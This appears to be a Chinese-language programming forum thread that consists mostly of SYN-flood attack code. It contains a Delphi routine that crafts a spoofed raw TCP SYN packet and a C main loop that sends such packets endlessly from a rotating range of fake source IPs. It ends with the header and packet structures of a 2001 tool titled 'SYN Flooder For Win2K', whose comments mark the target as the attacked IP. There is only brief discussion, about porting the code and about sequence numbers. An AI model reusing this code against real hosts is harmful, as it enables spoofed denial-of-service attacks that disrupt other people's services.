procedure TForm1.Button2Click(Sender: TObject);  //TCP
const
   SYN_DEST_IP='192.168.1.4'; //目标IP
   SEQ=$12345678;
   FAKE_IP='10.168.150.1';
Var
sh : TSocket;
bOpt : Integer;
ret : Integer;
Remote : TSockAddr;
//Local : TSockAddr;
iTotalSize : Word;
wsdata : TWSAdata;
   buff:array[0..255]of byte;
   ipHdr:T_IP_Header;
   tcpHdr:T_TCP_HEADER;
   sdHdr:T_TCP_TSEUDO_HEADER;

   FakeIpNet,FakeIpHost,SendSEQ:integer;
begin
// Startup Winsock 2
ret := WSAStartup(MAKEWORD(2,2), wsdata);
if ret=0 then
begin
try
         sh :=WSASocket(AF_INET,SOCK_RAW,IPPROTO_TCP,NIL,0,WSA_FLAG_OVERLAPPED);
if (sh <> INVALID_SOCKET) then
begin
bOpt := 1;
ret := SetSockOpt(sh, IPPROTO_IP, IP_HDRINCL, @bOpt, SizeOf(bOpt)); // Option: Header Include
if ret <> SOCKET_ERROR then 
begin
               bOpt := 1000;
               ret:=setsockopt(sh,SOL_SOCKET,SO_SNDTIMEO,@bOpt, SizeOf(bOpt));
               SendSEQ:=0;
               fillchar(remote,sizeof(remote),0);
               remote.sin_family := AF_INET;
               remote.sin_addr.s_addr:=inet_addr(SYN_DEST_IP);
               FakeIpNet:=inet_addr(FAKE_IP);
         FakeIpHost:=ntohl(FakeIpNet);
            // IP
               ipHdr.ip_verlen:= 69;               //高四位IP版本号，低四位首部长度
               ipHdr.ip_tos:= 0;
               ipHdr.ip_totallength:=htons(40) ;   //16位总长度（字节）
               ipHdr.ip_id:=1; // 唯一标识，一般设置为0
               ipHdr.ip_offset:= 0; // 偏移字段
               ipHdr.ip_ttl:= 128; // 超时时间
               ipHdr.ip_protocol:= IPPROTO_TCP; // 定义协议
               ipHdr.ip_checksum:= 0 ; // 检验总数
               ipHdr.ip_srcaddr:= htonl(FakeIpHost+SendSEQ);  ; // 源地址
               ipHdr.ip_destaddr:=inet_addr(SYN_DEST_IP);  // 目标地址
            //TCP
               tcpHdr.Sport:= htons(7000);
               tcpHdr.Dport:= htons(7400) ;
               tcpHdr.Seq:=htonl(SEQ+SendSEQ); //SYN序列号
               tcpHdr.Ack:=0;
               tcpHdr.Off_X2:= 80 ;  //TCP长度和保留位
            tcpHdr.Flags:= 2 ; //SYN 标志
               tcpHdr.Win:=htons(512); //窗口大小
               tcpHdr.Sum:=0;
               tcpHdr.Urp:=0;
//填充TCP伪首部（用于计算校验和，并不真正发送）
               sdHdr.Saddr:=ipHdr.ip_srcaddr;
               sdHdr.Daddr:=ipHdr.ip_destaddr;
               sdHdr.Zero:=0;
               sdHdr.Protocol :=IPPROTO_TCP;
               sdHdr.Length:=htons(20);  
      //计算TCP校验和，计算校验和时需要包括TCP pseudo header
               fillchar(buff,sizeof(buff),0);
               move(sdHdr,buff[0],sizeof(sdHdr));
               move(tcpHdr,buff[sizeof(sdHdr)],sizeof(tcpHdr));
               tcpHdr.Sum:=CheckSum(@buff,sizeof(sdHdr)+sizeof(tcpHdr));
      // 计算IP校验和
               fillchar(buff,sizeof(buff),0);
               move(ipHdr,buff[0],sizeof(ipHdr));
               move(tcpHdr,buff[sizeof(ipHdr)],sizeof(tcpHdr));
               ipHdr.ip_checksum:= CheckSum(@buff,sizeof(ipHdr)) ;
      //填充发送缓冲区
               fillchar(buff,sizeof(buff),0);
               move(ipHdr,buff[0],sizeof(ipHdr));
               move(tcpHdr,buff[sizeof(ipHdr)],sizeof(tcpHdr));
               iTotalSize:=sizeof(ipHdr)+sizeof(tcpHdr);
// Send the packet
ret := SendTo(sh, buff, iTotalSize, 0, Remote, SizeOf(Remote));
               edit1.Text :=inttostr(ret);
end;
CloseSocket(sh); // Close socket
end;
finally
WSACleanup; // Close Winsock 2
end;
end;
end;

procedure TForm1.Button3Click(Sender: TObject);
Var
i : Word;
   buff:array[0..127]of Shortint; //8位带符号整数,形取值范围-128~+127
begin
   for i:=0 to 9 do
      buff[i]:=i+1;
   edit1.Text :=inttostr(CheckSum(@buff,10));//57830
end;

end.

//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}

//  SynFlood主函数
int main()
{
int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost,k;
int TimeOut=1000,SendSEQ=0;
char SendBuf[128]={0};
char RecvBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
TCP_HEADER tcp_header;

//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}
SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if (SockRaw==INVALID_SOCKET){
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if (ErrorCode==SOCKET_ERROR)
printf("Set IP_HDRINCL Error!\n");
__try{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if (ErrorCode==SOCKET_ERROR){
fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ip_header.h_verlen=69;//(4<<4 | sizeof(ip_header)/sizeof(unsigned long));//高四位IP版本号，低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));     //16位总长度（字节）
ip_header.ident=1;                                                       //16位标识
ip_header.frag_and_flags=0;                                               //3位标志位
ip_header.ttl=128;                                                       //8位生存时间TTL
ip_header.proto=IPPROTO_TCP;                                          //8位协议(TCP,UDP…)
ip_header.checksum=0;                                                    //16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                          //32位源IP地址
ip_header.destIP=inet_addr(SYN_DEST_IP);                               //32位目的IP地址
//填充TCP首部
tcp_header.th_sport=htons(7000);                                      //源端口号
tcp_header.th_dport=htons(7400);                                      //目的端口号
tcp_header.th_seq=htonl(SEQ+SendSEQ);                                  //SYN序列号
tcp_header.th_ack=0;                                                 //ACK序列号置为0
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);                        //TCP长度和保留位
tcp_header.th_flag=2;                                                    //SYN 标志
tcp_header.th_win=htons(512);                                           //窗口大小
tcp_header.th_urp=0;                                                 //偏移
tcp_header.th_sum=0;                                                 //校验和
//填充TCP伪首部（用于计算校验和，并不真正发送）
psd_header.saddr=ip_header.sourceIP;                                    //源地址
psd_header.daddr=ip_header.destIP;                                      //目的地址
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;                                            //协议类型
psd_header.tcpl=htons(sizeof(TCP_HEADER));                              //TCP首部长度
while(1) {
//每发送10,240个报文输出一个标示符
Sleep(200);
for(counter=0;counter<10240;counter++){
if(SendSEQ++==65536) SendSEQ=1;                                  //序列号循环
//更改IP首部
ip_header.checksum=0;                                            //16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                  //32位源IP地址
//更改TCP首部
tcp_header.th_seq=htonl(SEQ+SendSEQ);                          //SYN序列号
tcp_header.th_sum=0;                                         //校验和
//更改TCP Pseudo Header
psd_header.saddr=ip_header.sourceIP;
//计算TCP校验和，计算校验和时需要包括TCP pseudo header
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
//计算IP校验和
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
datasize=sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
//填充发送缓冲区
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
for (k=0;k<datasize;k++){
printf("%d ",SendBuf[k]);
if ((k % 8 == 0)&&(k>1)){printf("\n");}
}
//发送TCP报文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
printf("\n%d IP校验和: %d TCP校验和: %d sendto: %d\n",counter,ip_header.checksum,tcp_header.th_sum,ErrorCode);
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
cin>>k;
Sleep(200);
}//End of for
}//End of While
}//End of try
__finally {
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}

怎么从DELPHI写到C去了?

TCP协议的通讯要求 IP 数据报的 序号匹配，用 Raw Socket 可能有些困难，注意序号的连续性

//////////////////////////////////////////////////////////////////////////
//                                                                      //
//  SYN Flooder For Win2K by Shotgun                                    //
//                                                                      //
//  THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath             //
//  THANX Lion Hook FOR PROGRAM OPTIMIZATION                            //
//                                                                      //
//  Released:    [2001.4]                                                //
//  Author:     [Shotgun]                                               //
//  Homepage:                                                           //
//              [http://it.xici.net]                                    //
//              [http://www.patching.net]                              / //
//                                                                      //
//////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <iostream.h>

#pragma comment(lib,"ws2_32.lib")

#define SEQ 0x12345678
#define SYN_DEST_IP "192.168.1.4"//被攻击的IP
#define FAKE_IP "10.168.150.1"       //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段
#define STATUS_FAILED 0xFFFF      //错误返回值

typedef struct _iphdr              //定义IP首部
{
unsigned char h_verlen;            //4位首部长度,4位IP版本号
unsigned char tos;               //8位服务类型TOS
unsigned short total_len;      //16位总长度（字节）
unsigned short ident;            //16位标识
unsigned short frag_and_flags;  //3位标志位
unsigned char  ttl;              //8位生存时间 TTL
unsigned char proto;         //8位协议 (TCP, UDP 或其他)
unsigned short checksum;        //16位IP首部校验和
unsigned int sourceIP;            //32位源IP地址
unsigned int destIP;         //32位目的IP地址
}IP_HEADER;

struct                              //定义TCP伪首部
{
unsigned long saddr;     //源地址
unsigned long daddr;     //目的地址
char mbz;
char ptcl;                   //协议类型
unsigned short tcpl;     //TCP长度
}psd_header;

typedef struct _tcphdr             //定义TCP首部
{
USHORT th_sport;               //16位源端口
USHORT th_dport;               //16位目的端口
unsigned int th_seq;         //32位序列号
unsigned int th_ack;         //32位确认号
unsigned char th_lenres;        //4位首部长度/6位保留字
unsigned char th_flag;            //6位标志位
USHORT th_win;                 //16位窗口大小
USHORT th_sum;                 //16位校验和
USHORT th_urp;                 //16位紧急数据偏移量
}TCP_HEADER;

//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}